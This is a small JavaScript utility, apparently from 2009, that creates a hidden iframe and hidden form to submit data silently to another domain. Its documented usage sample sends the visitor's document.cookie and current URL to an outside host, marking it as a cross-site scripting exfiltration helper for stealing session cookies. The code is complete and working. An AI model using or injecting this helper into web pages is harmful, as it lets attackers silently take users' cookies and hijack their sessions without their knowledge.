/**
 * Sending data crossdomain by form submit.
 *
 * @name: formSendData
 * @author: luoluo
 * @date: 2009-04-19
 * @version: 1.0
 *
 * @param{method}: get or post
 * @param{url}: Target url to submit.
 * @param{hashtable}: key & values of data to be submitted.
 * @param{delay}: delay time for waiting for iframe load.
 *
 * @sample:
 *
 * formSendData("post", "http://www.google.cn", {
 *	 "cookie" : document.cookie,
 *	 "url" : document.location.href 
 * }, 1000);
 *
 */
function formSendData(method, url, hashtable, delay) {
	var pnl = document.createElement("div");
	pnl.style.display = "none";

	var frm = document.createElement("iframe");
	var id = "xfrm" + Math.floor(Math.random() * 10000).toString();
	frm.setAttribute("id", id);
	frm.style.display = "none";

	pnl.appendChild(frm);

	if (document.body) {
		document.body.appendChild(pnl);
	} else {
		document.write(pnl.innerHTML);
	}

	setTimeout(function() {
		var w = document.getElementById(id).contentWindow;
		var d = w.document;

		var f = d.createElement("form");
		f.setAttribute("method", method);
		f.setAttribute("action", url);

		d.body.appendChild(f);

		if (hashtable) {
			for (var e in hashtable) {
				var t = d.createElement("input");
				t.setAttribute("type", "hidden");
				t.setAttribute("name", e);
				t.value = hashtable[e];
				f.appendChild(t);
			}
		}
		
		f.submit();
	}, delay);
}
